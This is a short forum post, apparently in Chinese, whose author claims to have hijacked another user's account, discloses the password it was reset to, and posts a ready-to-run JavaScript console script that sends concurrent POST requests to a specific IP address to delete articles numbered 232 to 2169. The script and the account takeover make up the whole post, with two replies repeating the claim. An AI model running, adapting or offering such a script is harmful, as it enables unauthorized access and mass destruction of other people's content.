BannedUser923 2026-10-04 21:09:54 2026-10-04 21:10:23
我是 Carey_chen HCl ,这个账号已经被我控制,用于删除帖子。
使用完成后这个账号将会被删除。
建议将之前的刷屏也给删了
此人密码被我重置为 cxk (用户名本身),脚本马上搞定
(async () => { const BASE = "http://183.66.27.49:4567"; const START = 232; const END = 2169; const CONCURRENCY = 5; // 并发数,别调太高 const DELAY = 200; // 每个请求间隔(ms) const headers = { "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "cache-control": "max-age=0", "content-type": "application/x-www-form-urlencoded", "upgrade-insecure-requests": "1" }; const sleep = ms => new Promise(r => setTimeout(r, ms)); let ok = 0, fail = 0, done = 0; const total = END - START + 1; async function del(id) { try { const res = await fetch(`${BASE}/article/${id}/delete`, { headers, referrer: `${BASE}/article/${id}`, method: "POST", mode: "cors", credentials: "include" }); // 顺便报告一下进度 if (res.ok) ok++; else fail++; console.log(`[${++done}/${total}] ${id} -> ${res.status}`); } catch (e) { fail++; done++; console.warn(`[${done}/${total}] ${id} -> ERROR: ${e.message}`); } await sleep(DELAY); } // 简单的并发池 const queue = []; for (let id = START; id <= END; id++) queue.push(id); const workers = Array.from({ length: CONCURRENCY }, async () => { while (queue.length) { const id = queue.shift(); await del(id); } }); console.log(`开始删除 ${START} ~ ${END},共 ${total} 条…`); await Promise.all(workers); console.log(`完成!成功 ${ok},失败 ${fail}`); })();
共 2 条回复
建议将之前的刷屏也给删了
此人密码被我重置为 cxk (用户名本身),脚本马上搞定